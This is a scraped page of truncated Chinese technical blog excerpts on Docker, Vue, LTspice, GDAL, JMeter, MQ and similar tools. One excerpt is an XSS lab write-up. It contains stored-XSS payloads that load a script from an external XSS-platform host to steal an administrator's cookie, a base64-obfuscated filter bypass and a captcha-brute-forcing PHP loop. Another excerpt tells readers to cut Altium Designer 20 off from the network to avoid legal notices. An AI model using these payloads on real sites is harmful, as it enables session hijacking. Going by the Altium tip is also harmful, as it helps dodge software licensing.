完整代码 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> <title></title> <script src="js/mui.min.js"></script> <link href="css/mui.min.css" rel="stylesheet"/> <script type="text/javascript" charset="utf-8"> mui.init(); </script> </head> <body> <button type="button" class="mui-btn mui-btn-blue" id="btn">按钮</button> <img src="" alt="" id="img1" style="width: 100px;height: 100px;"> <script type="text/javascript"> // 点击按钮之后进行拍照 var btn = document.getElementById("btn"); // 点击事件 btn.onclick = function(){ // 得到摄像头对象 var cm = plus.camera.getCamera(); cm.captureImage(function(filepath){ // alert(filepath); // 修改绝对路径,方便使用 var myimg = plus.io.convertLocalFileSystemURL(filepath); var img1 = document.getElementById("img1"); img1.src = myimg; },function(error){ error.

将asp.net core部署到docker中,以容器的方式运行

netcore3.1 dockerfile 生成镜像 并 部署到 linux 系统 注意:先将web api需要对外暴露的端口添加到防火墙 如果开启了防火墙的话,添加到防火墙: 然后在云服务的防火墙规则处,开放此端口 firewalld 防火墙开放端口 查看firewalld状态:systemctl status firewalld 开启firewalld:systemctl start firewalld 如果启动报错:Failed to start firewalld.service: Unit is masked. 是因为被锁定了,取消firewalld的锁定:systemctl unmask firewalld,再启动即可。 开放某个端口:firewall-cmd --zone=public --add-port=3306/tcp --permanent 重新载入:firewall-cmd --reload 然后再基于镜像,创建容器。 相关的命令: 基于项目镜像: docker build -f Dockerfile -t webapp:1.0 . 基于镜像,创建容器: docker run -d -p 5008:5008 --name webapitest c344dc437251 重启docker引擎 ,可以解决此问题. systemctl restart docker 在尝试重新创建该项目容器或者重启容器 解决方案: docker端口映射或启动容器时报错 driver failed programming external connectivity on endpoint quirky_allen

LTSPICE仿真那些事

++++++++++++++++++++++++++ 操作上,所有的操作方式,都可以在toolbox中找到,如果不是纠结于使用快捷键,则完全可以一个个使用toolbox的按钮来完成。 有一些需要注意的操作习惯。这些和Multisim不太一样,不太习惯。 (1)鼠标左键,用来拖动真个图纸的位置。 (2)鼠标右键,启动弹出框,这是核心用键。 (3)鼠标中键,无作用。 (4)鼠标滚轮,zoom。 ++++++++++++++++++++++++++++++++ 添加元件。 gnd可以直接在toolbox中选取。 label net可以直接在toolbox中选取。 R,C,L,D,可以直接在toolbox中选取。 除此之外,其他元件,一律叫做component。 例如常用的电压源,位于component->voltage。设置参数,可以定义交流电压,直流电压,PWM电压等。 常用的电流源,位于component->current。 其他例如, component->led, component->schottky, 等等。 ++++++++++++++++++++++++++ 参数输入上,需要注意的地方。 输入毫时,直接输入字母m即可。 输入兆时,不能直接输入字母M,否则会被识别为毫。应输入三个字母MEG或者四个字母Mega。 这一点不太好用。TINA中,输入M,会被自动转换成三个字母MEG,这一点比较贴心。 +++++++++++++++++++++++++++ RUN。 在运行时,会生成一个命令行,这个命令行,在图纸上,如同一个注释文本框。 例如, .trans xx xx xx xx 表示进行瞬态分析,时间3us。 如前所述,右键点击这个Text,可以修改仿真参数。 或者, simulation->edit simulation cmd, 老老实实用菜单来操作。 ++++++++++++++++++++++++++++ 网表设置。 view->spice netlist命令, 打开对应的xxx.net文本文件。这个文件中,显示了每个元件的元件标号,参数值,以及每个pin对应的网标。 如果要修改某个网络的默认名称, edit->label net, 放置一个网标上去,这是最好的方式。 +++++++++++++++++++++++++++++ 查看仿真波形。 view->visible trace命令。 波形文件保存为xxx.raw文件。 在raw文件的窗口,可以执行波形相关的操作。 (1)右键->add plot,添加一个坐标系。 (2)右键->add trace,添加一个波形曲线。 (3)右键->delete this pane,删除当前的坐标系。 (4)指针移动到曲线名称上,然后,右键。在弹出框中,可以修改曲线名称,颜色,算术表达式等。 最常用的是取反,例如电流曲线,可以添加一个负号-,将曲线反相。 (5)指针移动到曲线名称上,然后,左键。可以切换当前的光标测量模式。 初始状态,在mesure mode0。没有cursor。 关闭mesure框之后,测量模式自动回到mesure mode 0.

沐神《动手学深度学习》报错 解决方案RuntimeError: DataLoader worker (pid(s) ...) exited unexpectedly

3.6 softmax回归的从零开始实现 运行 print(evaluate_accuracy(net, test_iter)) 报了一溜错误,其中最后一行为 RuntimeError: DataLoader worker (pid(s) 5052, 13652, 11108, 14208) exited unexpectedly 网上有很多教程说修改num_works=0但没说具体步骤,摸索了一下分享给大家。 我使用的是pycharm 使用右上角的搜索功能,输入 get_dataloader_workers() 进入d2l.torch (如果不是pycharm则需要进入到d2l包的文件夹中寻找torch.py这个函数) 将 def get_dataloader_workers(): 下的return 4 改为 return 0 即可解决 最后运行程序不再报错。

CAN光端机解决海上风电项目中西门子消防主机FC18实现超远距离组网问题

项目背景: 1、使用西门子的消防主机FC18; 2、三个海上风电平台各安装一台FC18; 3、陆上风电平台安装一台FC18; 4、每个海上风电平台与陆上风电平台的距离超过40公里; 5、每个海上风电平台与陆上风电平台之间预留了单芯光纤; 6、陆上消防主机与每台海上消防主机独立联动。 组网方案: 1、每个海上消防主机的CAN接口接上一台LCFNET-600E CAN光端机; 2、海上消防主机配套三台CAN光端机,三台CAN光端机的CAN并到一起,接到陆上消防主机的CAN接口; 3、6只CAN光端机两两配对,每对之间通过光纤连接。光纤最大长度支持60公里,最长可定制120公里。

在linux系统命令行模式下如何输入中文

这是在Cent OS7的映像环境下,且已有图形界面 1、在命令行输入ibus-setup (注意:ibus-setup中间没有空格) 2、输入后会弹出弹窗,如图所示 3、如图所示:①点击常规 ②点击下一输入法后的选择入口,会弹出如图片所示的弹窗 ③用于我比较习惯shift键,所以手写输入shift,勾上Shift修饰符【注意:按键要手 打,后面三个点并不是我们熟悉的选择按键;要按键和修饰符同时选择才有效】 ④点击应用,就可以看见上面的快捷键换成<Shift>shif ⑤点击确定,点击关闭,退出设置 4、可以在主页面右上角找到语言标识符,点击更换;或者直接按刚刚自己设置的快捷键(如我设置的shift)即可更换

数据密码学

1. 加密 数据加密的基本过程,就是对原来为明文的文件或数据按某种算法进行处理,使其成为不可读的一段代码,通常称为"密文"。通过这样的途径,来达到保护数据不被非法人窃取、阅读的目的。 2. 解密 加密的逆过程为解密,即将该编码信息转化为其原来数据的过程。 3. 对称加密和非对称加密 加密算法分对称加密和非对称加密,其中对称加密算法的加密和解密秘钥相同,非对称加密算法的加密秘钥和解密秘钥不同,此外,还有一类不需要秘钥的散列算法。 常见的对称加密算法主要有DES、3DES、AES等,常见的非对称算法主要有RSA、DSA等,散列算法主要有SHA-1、MD5等。 对称加密 对称加密算法是应用较早的加密算法,又称为共享密钥加密算法。在对称加密算法中,使用的密钥只有一个,发送和接收双方都使用这个密钥对数据进行加密和解密,这就要求加密和解密方事先都必须知道加密的密钥。 数据加密过程:在对称加密算法中,数据发送方将明文和加密密钥一起经过特殊加密处理,生成复杂的加密密文进行发送。数据解密过程:数据接收方收到密文后,若想读取原数据,则需要使用加密使用的密钥及相同算法的逆算法对加密的密文进行解密,才能使其恢复成可读明文。 非对称加密 非对称加密算法,又称为公开密钥加密算法。它需要两个密钥,一个称为公开密钥,即公钥。另一个称为私有密钥,即私钥。 因为加密和解密使用的是两个不同的密钥,所以这种算法称为非对称加密算法。 如果使用公钥对数据进行加密,只有用对应的私钥才能进行解密。如果使用私钥对数据进行加密,只有用对应的公钥才能进行解密。 使用例子: 甲方生成一对密钥并将其中的一把公钥向其他人公开,得到该公钥的乙方使用该密钥对机密信息进行加密后再发送给甲方,甲方再使用自己保存的另一把私钥,对加密后的信息进行解密。 4. 加密算法的安全级别 安全级别算法薄弱DES、MD5传统Rc4、SHA-1基准3DES标准AES-128、SHA-256较高AES-192、SHA-384超高AES-256、SHA-512 哈希算法:MD4、MD5、SHA 对称加密:DES、IDEA、RC2、RC4、RC5、AES 非对称加密:RSA、ECC 已经证实较容易破解的算法(不安全算法):MD4、MD5、SHA-0、SHA-1、DES 理论上大部分的算法基本上都是可以破解的,只是需要很多台计算机并行运行运算很长时间才能破解。 哈希算法是不可逆算法但是存在碰撞可能,速度较快;对称加密使用一个密钥进行加解密;非对称算法使用公钥和私钥进行加解密,速度比对称加密要更慢,但较安全。

Ubuntu 安装 GDAL C++库

1. GDAL简介 GDAL 是读写大量的栅格空间数据格式的广泛应用的开源库。该库起源于 1998年,已经大幅进化。 它支持他自己的数据模型和应用程序接口(API)。 从最初的单一发展的起源,GDAL已发展成为一个分布式的项目,开发人员的数量相对比较大。 GDAL官网下载以及安装教程。 2. 提示 要构建 GDAL 3 或更高版本,至少需要一个 C++11 兼容编译器,以及 PROJ 6 或更高版本。如果是在C++11编译器上构建老版本GDAL会提示namespace std错误。新版本需要安装PROJ依赖库,PROJ又依赖sqlite3和libtiff4,依次安装即可。具体情况可能不同,不过可以从GDAL开始安装,根据提示逐渐安装相应的包即可。 3. 如何在 Ubuntu 中安装具体指定的软件包版本 3.1通过apt安装 在 Ubuntu 中想安装一个软件包的一个特别指定的版本?你可以通过下面的方式来轻松地完成: sudo apt install package_name=package_version 如何知道某个软件包有哪些可用的版本?可以使用这个命令: apt list --all-versions package_name 3.1通过源码编译安装 下载安装包,Linux版本的压缩包后缀为.tar.gz,Windows版本压缩包后缀zip。 安装步骤依次执行下面代码。 cd '/home/Downloads/gdal-3.5.1' #源码包解压后的位置 ./configure --prefix='/home/Softwares' #指定安装路径 make #生成makefile文件 make install #编译安装 4. 安装 安装GDAL,根据提示在补充安装所需包。缺什么安装什么就行。 4.1 安装GDAL 4.1.1 下载GDAL 参考gdal-3.1.2 linux(Ubuntu) 编译 附SQLite3 PROJ6编译 、Linux系统编译安装GDAL库,官网下载最新的gdal-3.5.1.tar.gz版本的 http://download.osgeo.org/gdal/CURRENT/ 4.1.2 安装GDAL 依次执行命令 cd '/home/Downloads/gdal-3.

md-editor-v3 markdown编辑器

md-editor-v3 md-editor-v3官网 npm i md-editor-v3 --save npm i showdown --save 由于该编辑器输入为markdown格式,要转换成html则需要插件转换,因此使用showdown md-editor-v3也提供了onHtmlChanged来转换,不过出于贪图逻辑上的便利没有使用 vue3案例 toolbarsExclude为toolbar禁用,去掉不需要的按键 <template> <MdEditor toolbarsExclude="['link', 'mermaid', 'katex', 'github', 'save']" v-model="content" @onUploadImg="onUploadImg" > </MdEditor> <el-button @click="saveData" type="primary">保存</el-button> </template> <script> import { ref, defineComponent, reactive } from "vue"; import showdown from "showdown"; import MdEditor from "md-editor-v3"; import "md-editor-v3/lib/style.css"; export default defineComponent({ components: { MdEditor }, setup() { const state = reactive({ content: '' }); const onUploadImg = async ( files, callback ) => { const res = await Promise.

【手动安装Python包】

问题: 使用 pip install 安装包不成功时,可以手动安装 步骤 下载所需包的相应版本; 链接:https://www.lfd.uci.edu/~gohlke/pythonlibs/将下载好的包(whl文件),存储到Python的包目录中(Lib->site-packages);win+R,输入cmd,进入命令行,命令行输入:cd whl文件所在目录,进入包文件所在目录;命令行输入:pip install whl的文件名

Vue路由-Router搭建以及简单使用

一、VueRouter介绍 1.所谓的路由就是根据用户不同的访问地址,应用程序给与不同的响应,VueRouter就是官方的路由管理器。 二、配置路由(如果在创建项目的时候没有选择vue-router 就需要手动配置vue-router) 1.在项目文件夹终端输入npm install vue-router 进行加载router,选择版本的话npm install vue-router@3安装版本为3最新的包 2.在src文件夹下新建router文件夹,在该文件夹下边新建index.js文件 3.配置index.js文件,首先导入vue以及vuerouter,然后倒入已经定义好的路由实例, 输入Vue.use(VueRouter)使用router,接着定义路由(定义每个路由实例的name(可有可无),path,component),最后将router接口暴露出去(export defaut router);这个页面就配置好了 import Vue from 'vue'; import VueRouter from 'vue-router'; import Mylist from '../views/Mylist.vue'; Vue.use(VueRouter) const routes = [ { path:'/list', component:Mylist } ] const router = new VueRouter({ routes }) export default router 4.在main.js文件配置路由,在这个页面如果我们创建的时候没有点击路由需要import router from'./router'导入路由,然后再new Vue中添加router就配置好了 import Vue from 'vue' import App from './App.vue' import router from './router' import store from './store' Vue.config.productionTip = false new Vue({ router, store, render: h => h(App) }).

AD20如何离线工作,不让软件联网?

1、打开AD20软件,点击右上角的设置。 2、打开设置后 1.点击System(系统); 2.点击Network activity; 3.将该选项里的所有勾都去掉; 3、点击右下角的应用,最后点击保存。 这个时候AD20在使用的过程中就不会进行联网,也就不用担心邮箱里的法务函了。

UnityWebRequest.Post问题

使用Post上传数据时,碰到乱码问题,总结一下: Post上传数据: using (UnityWebRequest request = UnityWebRequest.Post(url, data)) { request.SetRequestHeader("Content-Type", "application/json;charset=utf-8"); yield return request.SendWebRequest(); if (request.result == UnityWebRequest.Result.Success) { Debug.Log("上传成功!"); uploadSuccess?.Invoke(); } } 上面的代码:Post方法会对data数据进行URL编码。 服务端如果没有进行URL解码话,打印出的结果里有%(特殊字符和中文无法正常显示) UnityWebRequest.Post源码 解决方案:不进行URL编码,或服务端进行URL解码 1.使用PUT,方法设置为POST 因为Put方法没有进行URL编码 using (UnityWebRequest request = UnityWebRequest.Put(url, data)) { //方法改为POST request.method = UnityWebRequest.kHttpVerbPOST; request.SetRequestHeader("Content-Type", "application/json;charset=utf-8"); yield return request.SendWebRequest(); if (request.result == UnityWebRequest.Result.Success) { Debug.Log("上传成功!"); uploadSuccess?.Invoke(); } } 2.使用更低级的API:自己控制数据 IEnumerator UpLoadTexture3(string data) { byte[] databyte = Encoding.UTF8.GetBytes(data); var _request = new UnityWebRequest(url, UnityWebRequest.kHttpVerbPOST); _request.

Jmeter+Ant+Jenkins实现持续集成

Jmeter+Ant+Jenkins实现持续集成 1.配置JAVA环境变量:(JMETER执行依赖JAVA环境变量) (1)添加JAVA环境变量 变量值等于JDK的安装路径 (2)将CLASS_PATH变量 变量值等于%JMETER_HOME%\lib\ext\ApacheJMeter_core.jar; %JMETER_HOME%\lib\jorphan.jar (3)将JAVA_HOME变量数值添加到path变量中 %JAVA_HOME%\bin (4)验证JAVA环境变量配置结果 windows系统 输入cmd命令行模式 输入java -version 显示如下界面说明安装成功。 2.配置Jmeter环境变量:(通过命令行输入jmeter即可启动jmeter工具) (1)Jmeter工具下载地址: http://jmeter.apache.org/download_jmeter.cgi#binaries (2)配置JMETER_HONE JMETER_HONE D:\apache-jmeter-4.0 (3)配置CLASSPATH %JMETER_HOME%\lib\jorphan.jar;%JMETER_HOME%\lib\logkit-1.2.jar; (4)配置PATH %JMETER_HOME%\bin (5)验证配置结果: 在windows系统上 输入cmd启动命令行格式 输入jmeter -v 出现如下结果说明安装成功(可以在输入行中输入jmeter来启动jmeter) 3.配置ANT (1).配置ANT环境变量* 添加ANT_HOME环境变量 变量值等于ANT安装目录 ANT_HOME D:\ANT\apache-ant-1.9.12 将ANT_HOME变量添加到PATH中 %ANT_HOME%\bin 在windows系统上 输入cmd进行命令行模式,输入ant -version 显示ANT版本信息则安全成功 3.Ant+Jmeter组合环境搭建 (1)将D:\JMETER\apache-jmeter-4.0\extras下面的ant-jmeter-1.1.1的jar包复制到ANT安装目录中的lib目录 (2)将D:\JMETER\apache-jmeter-4.0\bin\jmeter.properties中(去除#号)#jmeter.save.saveservice.output_format=csv修改为jmeter.save.saveservice.output_format=xml; (3)按照下方操作修改bulid.xml文件内容 <?xml version="1.0" encoding="UTF-8"?> <project name="ant-jmeter-test" default="run" basedir="."> <tstamp> <format property="time" pattern="yyyyMMddhhmm" /> </tstamp> <!--本地的jmeter安装路径--> <property name="jmeter.home" value="D:\JMETER\apache-jmeter-4.0"/> <property name="report.title" value="apitest"/> <!--生成jtl报告的路径--> <property name="

Docker报错:OCI runtime exec failed: exec failed: container_linux.go:380: starting container process详解

详细信息 [root@centOS7 ~]# docker exec -it 3cae7605916d /bin/bash OCI runtime exec failed: exec failed: container_linux.go:380: starting container process caused: exec: "/bin/bash": stat /bin/bash: no such file or directory: unknown 老规矩:先上答案 把脚本类型 /bin/bash,尝试换为 /bin/sh 试一下,如果你想对两种shell的区别有深入了解,点击这里。 注意: 如果你在Dockerfile中引用了自定义脚本,比如:entrypoint: ./entrypoint.sh,如果没有单独给该脚本通过chmod +x ./entrypoint.sh 添加执行权限,也可能会报这个错误。 前言 在docker学习中,大部分容器进入的脚本都是/bin/bash,比如tomcat,所以不假思索的认为其他容器进入方式的脚本类型也是/bin/bash,然而这是一个误区。 解析步骤 1.首先,了解一些脚本的类型 [root@centOS7 ~]cat /etc/shells /bin/sh /bin/bash /usr/bin/sh /usr/bin/bash /bin/tcsh /bin/csh [root@centOS7 ~]# 本机脚本解释器类型有4种。最常见的是前两种 (usr)/bin/sh和(usr)/bin/bash,还有一些不是很常见的脚本类型:ash、ksh、csh、zsh等,不同的shell都有自己的特点以及用途。 2.进入Tomcat容器内部,查Tomcat启动脚本解释器类型 docker exec -it tomcat /bin/bash ls cd bin && ls cat startup.

给饿了么Radio 单选框添加点击事件(vue2)

前言 最近有一个这样的需求,当点击不合格时打开一个弹窗进行不合格数据的录入。问题点在于当你想对不合格数据进行修改时,点击不合格是没有反应的;因为Radio 单选框只提供了一个change 事件 解决 这里说明一下,项目是vue2的项目,写这个demo是vue3的项目。但是两者的情况有些不一样。 问题1 vue2 <el-radio-group v-model="result"> <el-radio :label="0" @click.native="radioClick">不合格</el-radio> <el-radio :label="1">合格</el-radio> </el-radio-group> vue3 <el-radio-group v-model="result"> <el-radio :label="0" @click="radioClick">不合格</el-radio> <el-radio :label="1">合格</el-radio> </el-radio-group> 在这里也发现了我的一个误解,@click 本质是一个自定义事件,只是与原生的点击事件功能上是一致的。 在vue2中有这样一句话 所以在vue2中直接@click是不生效的,因为Radio 单选框没有提供这样的事件;但是加上.native修饰符后这就是原生事件了,因此点击事件会生效。 在vue3中直接使用@click生效是因为vue3中移除了.native修饰符,@click默认就是原生的点击事件 问题2 点击事件解决了,但是该事件每次都会被触发两次。原因是因为el-radio被封装了好几层,根元素不是input,解决是在后面添加prevent //vue2 <el-radio :label="0" @click.native.prevent="radioClick">不合格</el-radio> //vue3 <el-radio :label="0" @click.prevent="radioClick">不合格</el-radio> 至于为什么使用prevent可以解决这个问题,暂时没有找到原因 问题3 点击问题解决了,触发两次解决了,但是加上prevent后,单选框是无法被选中的。 解决:手动进行赋值 const radioClick = () => { result.value = 0; console.log('点击了', result.value); }; 最终方案 看上面的动图其实可以看到还是有点小问题的,手动赋值后选中状态多了一圈,要在旁边空白地方点击一下才能变成正常的选中状态。如果不介意的话,这样就可以了,比较很简单。 还有一种解决方案,指令(yyds) vue2 directives: { radioClick: { bind(el,binding) { // console.log(el); console.

彻底杀死docker

方法一:在命令行终端输入命令: 1 ps -aux | grep docker 从输出的信息中看看docker守护进程的PID是多少,然后用命令: 1 2 3 killall 进程名称 # 或者 kill -9 进程PID值 来杀死该进程。 方法二:使用service、systemctl 命令关闭docker守护进程 1 2 3 service docker stop # 或 systemctl stop docker 方法二更有效

vue-element-admin运行npm install 报错完美解决!(亲测有用)

npm ERR! code 128 npm ERR! An unknown git error occurred npm ERR! command git --no-replace-objects ls-remote ssh://git@github.com/nhn/raphael.git npm ERR! git@github.com: Permission denied (publickey). npm ERR! fatal: Could not read from remote repository. npm ERR! npm ERR! Please make sure you have the correct access rights npm ERR! and the repository exists. npm ERR! A complete log of this run can be found in: npm ERR! C:\Users\17605\AppData\Local\npm-cache\_logs\2022-03-21T10_41_46_956Z-debug.log 网上也是看了好多文章,尝试了好几种办法,修改.gitconfig文件,配置过tb镜像,也重新配置过GitHub的ssh,还是未能解决,最后看见一篇直接删除依赖的,删除完了就解决了。 具体如下:

vue3 TS防抖函数

目录 封装工具 使用 封装工具 useDebounce.ts //防抖函数 type CallbackFn = (item?: any) => void let timer: any = null export default function (Callback: CallbackFn, delay = 1000) { timer != null ? clearTimeout(timer) : null timer = setTimeout(() => { Callback && Callback() //当有值才会执行 }, delay) } 使用 AreaSeach.vue <template> <div> 出发地区:<input type="text" v-model="beginArea" /> <div> </template> <script setup lang="ts"> import { ref,watch } from 'vue' import useDebounce from '@/utils/useDebounce' const beginArea=ref('') //1.

C语言三目运算符的错误使用与踩坑

今天用三目运算符写了这句代码: ptrToList1->data < ptrToList2->data ? ptrToList1 = ptrToList1->next : ptrToList2 = ptrToList2->next; 结果报错了: 表达式必须是可修改的左值! 一时我也看不出有什么错误。 后来还是去搜了一下博客,然后意识到三目运算符的优先级别仅高于赋值运算符,而低于前面遇到过的所有运算符。 而我写的这句代码又有两个=,应该就是受到这两个等号的影响。 解决方法也很简单,加个括号完事了。 ptrToList1->data < ptrToList2->data ? (ptrToList1 = ptrToList1->next) : (ptrToList2 = ptrToList2->next);

Java中如何实现文件预览的功能

Java中如何实现文件预览的功能 JODConverter JODConverter是一种Java OpenDocument转换器,能够转换不同格式的文档,它依赖于Apache OpenOffice或 LibreOffice ,它为OpenDocument和Microsoft Office提供了最好的免费导入/导出的过滤器。 JODConverter可以用在这几种地方: 作为一个Java类库,嵌入到你的Java应用程序中。 作为一个命令行工具,可以在你的脚本中调用。 作为一个简单的web应用,上传文档,选择转换的格式并下载转换后的版本。 可以用openoffice,实现原理就是: 通过第三方工具openoffice,将word、excel、ppt、txt等文件转换为pdf文件流;这样就可以在浏览器上实现预览了。 先去openoffice官网下载进行安装,官网地址:Apache OpenOffice - Official Download 安装完成后启动。 Maven中添加如下依赖 <dependency> <groupId>com.artofsolving</groupId> <artifactId>jodconverter</artifactId> <version>2.2.1</version> </dependency> 将word、excel、ppt转换为pdf流的工具类代码 import com.artofsolving.jodconverter.DefaultDocumentFormatRegistry; import com.artofsolving.jodconverter.DocumentConverter; import com.artofsolving.jodconverter.DocumentFormat; import com.artofsolving.jodconverter.openoffice.connection.OpenOfficeConnection; import com.artofsolving.jodconverter.openoffice.connection.SocketOpenOfficeConnection; import com.artofsolving.jodconverter.openoffice.converter.StreamOpenOfficeDocumentConverter; import java.io.*; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLConnection; /** * 文件格式转换工具类 * * @version 1.0 * @since JDK1.8 */ public class FileConvertUtil { /** 默认转换后文件后缀 */ private static final String DEFAULT_SUFFIX = "

DevC++ 软件下载及安装教程(详细、具体)

写在前面 下载DevC++有多种方式,根据需求选择自己觉得更方便的下载方式。( 这里建议 优先选择 “下载方式1”,比较方便 ),具体根据你的需求而定。 安装程序下载完成后,根据第二部分的 “安装步骤” 进行安装即可。 一、软件下载 DevC++是一款功能强大的C/C++语言编译器,不仅界面美观、可操作性高、使用方便,最最重要的是它还是免费的。 1.下载方式一(sourceforge官网下载,建议优先选择下载此版本) 从sourceforge官网上下载,(提示:SourceForge 是全球最大开源软件开发平台和仓库,网站建立的宗旨,就是为开源软件提供一个存储、协作和发布的平台,拥有大量非常优秀的开源软件),下载完记得来看安装教程哦,链接如下: Dev-C++ download | SourceForge.net (链接) 如下图所示: 点击下载后,等待几秒便会弹出下载提示,下载完成后根据第二部分安装步骤进行软件的安装即可。 2.下载方式二(从Bloodshed官网下载) 从 Bloodshed 官网下载,(提示:bloodshed是免费软件组织,其主要作品有Dev C++),下载完记得来看安装教程哦,链接如下: ​​​​​​​ ​​​​​​​ “DevC++软件下载Bloodshed官网(免费)”(点击跳转) 如下图所示: 点击 Free Download 按钮进行下载。 3.下载方式三(从embarcadero官网下载) 从embarcadero官网下载,(提示:Embarcadero Dev-C++ 是 Bloodshed Dev-C++ 和 Orwell Dev-C++ 的一个新的和改进的分支(由 Embarcadero 赞助)。它是用于 C/C++ 编程语言的全功能集成开发环境 (IDE) 和代码编辑器。它使用 GCC (GNU Compiler Collection) 的 Mingw 端口作为编译器。Embarcadero Dev-C++ 也可以与 Cygwin 或任何其他基于 GCC 的编译器结合使用。Embarcadero Dev-C++ 是使用最新版本的 Embarcadero Delphi 构建的),下载完记得来看安装教程哦,链接如下: ​​​​​​​ DevC++软件embarcadero官网下载(链接)

安鸾靶场之XSS漏洞实操

当应用程序发送给浏览器的页面中包含用户提交的数据,但没有经过适当验证或转义时,就会导致跨站脚本漏洞。这个“跨”实际上属于浏览器的特性,而不是缺陷。会造成Cookie窃取、劫持用户Web行为、结合CSRF进行针对性攻击等危害。 XSS类型 1、反射型 出现在搜索栏,用户登录等地方,常用来窃取客户端的Cookie进行钓鱼欺骗。(需要用户去点击) 想要窃取cookie要满足两个条件: 1、用户点击攻击者构造的URL 2、访问被攻击的应用服务(即存在xss的网站) 2、存储型 出现在留言、评论、博客日志等交互处,直接影响Web服务器自身安全。攻击者将恶意代码存储到服务器上,只要诱使受害者访问被插入恶意代码的页面即可触发。 3、DOM型 DOM 型 XSS是基于文档对象模型(Document Objeet Model,DOM,用于将 Web 页面与脚本语言连接起来的标准编程接口)的一种漏洞,它不经过服务端,而是通过 URL 传入参数去触发,因此也属于反射型 XSS。 安鸾靶场实操 1、存储型XSS 111</textarea><script>alert("xss")</script>> 按F12查看页面代码,即可看到插入的恶意js代码,没有经过任何处理直接返回了,并且在用户访问此页面时,会自动触发 由此,此处留言板存在存储型XSS漏洞。由题可知,管理员每5分钟会上线,并访问此页面清除数据。所以我们可以利用XSS平台获取到管理员的cookie,并登录。 进入管理员用户页面,即可找到flag 2、交友平台 当插入代码</textarea><script>alert("xss")</script>时,会触发弹窗,所以此处存在存储型XSS漏洞。 将以下代码提交,使xss平台能获取到管理员的cookie再把此页面的url提交到bug反馈中,此时我们看到,需要验证码,且验证码进行md5加密之后的前六位等于a1c3e9 </textarea><script src=https://xss9.com/217l></script> 此时我们使用php脚本来撞验证码 <?php for ($i=1; $i<=99999999; $i++){ if (substr(md5($i), 0, 6)=="a1c3e9"){ echo $i.PHP_EOL; } } ?> 结果如下,随便取一个值填入,等待一分钟即可获取到管理员的cookie,登陆管理员账号就可找到cookie 3、XSS挖掘与绕过 登录进去,给管理员私信,首先我们发送</textarea><script>alert("xss")</script>来验证是否存在XSS漏洞,发现代码被过滤 由此我们看出来后端在处理传入的参数时,过滤了script,在sc和rpt之间插入了其他字符,但我们可以使用img标签绕过 </textarea<img src=1 οnerrοr=alert("xss");> 正常显示弹框 此时我们可以利用img标签来构造 <img src=x οnerrοr=eval(atob('s=createElement('script');body.appendChild(s);s.src='https://xss9.com/217l'+Math.random()'))> <img src=x οnerrοr=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzczkuY29tLzIxN2wnK01hdGgucmFuZG9tKCk='))> 将经过编码的恶意代码私信给管理员,等待5分钟即可在xss平台获取到管理员的cookie,就可登陆后台寻找flag

关于springboot常见面试题整理笔记

1、什么是spring boot,它主要有哪些优点 Springboot是spring的子项目,称为一站式解决方案,集成了外部很多的优秀的框架,如常用的mysql、jdbc。 主要优点:通过maven导入各种jar包,可以减少jar包的冲突;屏息了繁琐的xml配置文件;集成的开发框架,可以做到开箱即用 2、spingboot核心注解有哪些,都代表什么意思 核心注解主要包含3个: 1、@SpringBootConfiguration:实现配置文件功能 2、@EnableAutoConfiguration:开启自动配置功能 3、@ComponentScan:组件扫描 3、springboot中如何解决跨域问题 跨域都是通过前端JSONP来解决,但只能处理get类型请求,像post、put、delete就不支持,所以一般采用后端跨域通过WebMvcConfiguration接口来重写addCorsMappings方法,解决跨域问题。 4、在springboot微服务设计中,如何实现session共享 在微服务中,因为一个项目被拆分成多个子项目,导致内存中的session不一致,所以可以采取spring session+redis方式,将session统一保存在redis中。 5、springboot需要独立的容器启动项目吗 不需要,springboot自带tomcat、jetty。 6、springboot运行方式有几种 一般有三种,将springboot打包发到容器中;也可直接运行main主方法;也可以mavern插件运行。 7、在springboot工程中,无需重启系统,实现项目更新 这就涉及到springboot热部署的问题,只需安装devtools工具包,就能实现修改后的文件,通过Ctrl+F9来实现热更新 8、YAML在springboot中的作用 使得springboot配置文件更加有层次感,结构也比较清晰,不容易混淆,目前也是人类可读的数据序列化语言。 9、在spingboot配置环境文件中,它们的加载顺序是什么 排序:properties文件、yaml文件、系统环境变量、命令参数等配置文件

三种常见mq的优缺点比较

共同的优缺点: 优点:解耦系统,异步化,削峰 缺点:系统可用性降低,复杂度增高,维护成本增高 MQ,保证最终一致性 同时保证消息的处理的幂等性,保证broker的高可用 优点: 1.实现简单,改造成本低 2.性能高,没有全局锁 缺点 1.弱一致性,需要保证强一致性不适用 2.消费者消费失败,需要额外接口写生产者回滚逻辑 1.Rabbitmq a.安装和启动 docker pull rabbitmq:3.8.15-management docker run -d --name xd_rabbit -e RABBITMQ_DEFAULT_USER=admin -e RABBITMQ_DEFAULT_PASS=password -p 15672:15672 -p 5672:5672 rabbitmq:3.8.15-management 概念:一个开源的amqp实现,服务端使用erlang语言开发,支持多种客户端,主要用于消息的存储转发,具有较高的易用性,扩展性,高可用性 优点:RabbitMq自带延迟队列,更符合这块业务,比如定时任务,分布式事务处理 消息发送完整流程: 生产者将消息发送到exchange,交换器将消息路由到一个或多个队列中,交换机有多个类型,交换机和队列通过路由键进行绑定,如果消息拥有的路由键和交换机匹配,消息就会被路由到队列中 基本概念: 交换器:常见的交换机主要有Direct exchange、Fanout exchange、Topic exchange Direct exchange:将一个队列绑定到交换机上,要求该消息与一个特定的路由键完全匹配 Fanout Exchange:只需要简单的将队列绑定到交换机上,一个发送到与该交换机绑定的所有队列都会收到消息 不处理路由键 Topic Exchange通配符:主题交换机是一种发布订阅模式.将路由键和某模式进行匹配,此时队列需要绑定到一个模式上, #匹配一个或多个词,* 匹配不多不少一个词 使用场景:商家和客户订单数据冗余双写问题 ACK机制:消费者从rabbitmq接收到消息,并处理完成后,反馈给rabbitmq,rabbitmq接收到反馈才将消息从队列中删除 常见面试题 Rabbitmq为什么需要信道,为什么不TCP直接通信: 1.TCP的创建和销毁开销特别大,创建需要三次握手,销毁需要四次挥手 2.如果不用信道,那么应用程序会以TCP连接rabbitmq,高峰时每秒上千万的链接造成资源浪费,并且操作系统每秒处理的tcp连接数也是有限的,必将造成性能瓶颈. 